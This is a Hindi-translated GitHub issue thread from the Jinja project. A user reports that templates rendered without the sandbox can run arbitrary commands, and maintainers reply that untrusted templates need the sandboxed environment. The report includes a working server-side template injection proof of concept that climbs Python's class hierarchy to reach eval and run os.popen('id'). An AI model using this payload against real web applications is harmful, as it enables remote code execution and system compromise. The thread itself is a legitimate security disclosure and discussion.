Jinja: सैंडबॉक्स वातावरण के बिना टेम्पलेट में मनमाना कोड निष्पादित करें।

को निर्मित 23 फ़र॰ 2016 · 6टिप्पणियाँ · स्रोत: pallets/jinja

जब मैं अपने प्रोजेक्ट में Jinja2 टेम्प्लेट फ्रेमवर्क का उपयोग करता हूं, तो मुझे "os.popen ('id')" या वैश्विक रजिस्टर के बिना किसी अन्य फ़ंक्शन को कॉल करने का एक तरीका मिला।
जब हमलावर टेम्पलेट सामग्री को नियंत्रित कर सकता है तो शेल प्राप्त करना आसान होता है। क्या ऐसा डिज़ाइन है?

पीओसी:

from jinja2 import Template

content = '''
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %} {% endif %} {% endfor %}
{% endif %} {% endfor %}
'''
print Template(content).render()

मैं इस कोड का परीक्षण पायथन 2 (2.7.10) और जिंजा 2 (2.8) के साथ करता हूं, अगर यह काम करता है तो आपके उपयोगकर्ता के यूआईडी प्रिंट करेगा ...

स्रोत

RickGray

👍1

सबसे उपयोगी टिप्पणी

आपको गैर-सैंडबॉक्स वाले वातावरण में अविश्वसनीय टेम्प्लेट निष्पादित नहीं करने चाहिए। यही कारण है कि सैंडबॉक्स मौजूद है (और ईमानदार होने के लिए, यहां तक कि एक सैंडबॉक्स के साथ भी मैं उपयोगकर्ताओं को मनमाने ढंग से जिन्जा टेम्पलेट्स प्रदान नहीं करने दूंगा)

ThiefMaster 23 फ़र॰ 2016

👍2

सभी 6 टिप्पणियाँ

ThiefMaster 23 फ़र॰ 2016

👍2

तो, क्या इस मामले को रोकने के लिए उपाय करना जरूरी है? मुझे लगता है कि कुछ विशिष्ट एप्लिकेशन उपयोगकर्ताओं को टेम्पलेट सामग्री को संपादित करने की अनुमति देंगे, लेकिन कोई व्यावहारिक उदाहरण नहीं है।

RickGray 24 फ़र॰ 2016

मुझे लगता है कि डिफ़ॉल्ट रूप से सैंडबॉक्स का उपयोग करना आवश्यक है, क्योंकि फ्लास्क या किसी अन्य वेब ढांचे का इस्तेमाल जिन्जा 2 ऐसा नहीं करता है।

RickGray 24 फ़र॰ 2016

आप डिफ़ॉल्ट रूप से सैंडबॉक्स का उपयोग क्यों करना चाहेंगे? ज्यादातर मामलों में टेम्प्लेट को अविश्वसनीय लोगों द्वारा नहीं बदला जा सकता है, जिनके पास वैसे भी कोड तक पहुंच नहीं है।

ThiefMaster 24 फ़र॰ 2016

👎1

Uber में फ्लास्क/Jinja2 टेम्पलेट इंजेक्शन के माध्यम से रिमोट कोड निष्पादन के बारे में एक मामला है।
लिंक: http://www.tuicool.com/articles/uE3YNjY

RickGray 29 मार्च 2016

सैंडबॉक्सिंग को डिफ़ॉल्ट रूप से सक्षम करना बैकवर्ड कंपैट के कारण संभव नहीं है, और यह भी उचित नहीं है क्योंकि अधिकांश टेम्प्लेट (फ्लास्क में) विश्वसनीय हैं।

untitaker 12 अप्रैल 2016

👎1

क्या यह पृष्ठ उपयोगी था?

0 / 5 - 0 रेटिंग्स

Jinja: सैंडबॉक्स वातावरण के बिना टेम्पलेट में मनमाना कोड निष्पादित करें।

सबसे उपयोगी टिप्पणी

सभी 6 टिप्पणियाँ

संबंधित मुद्दों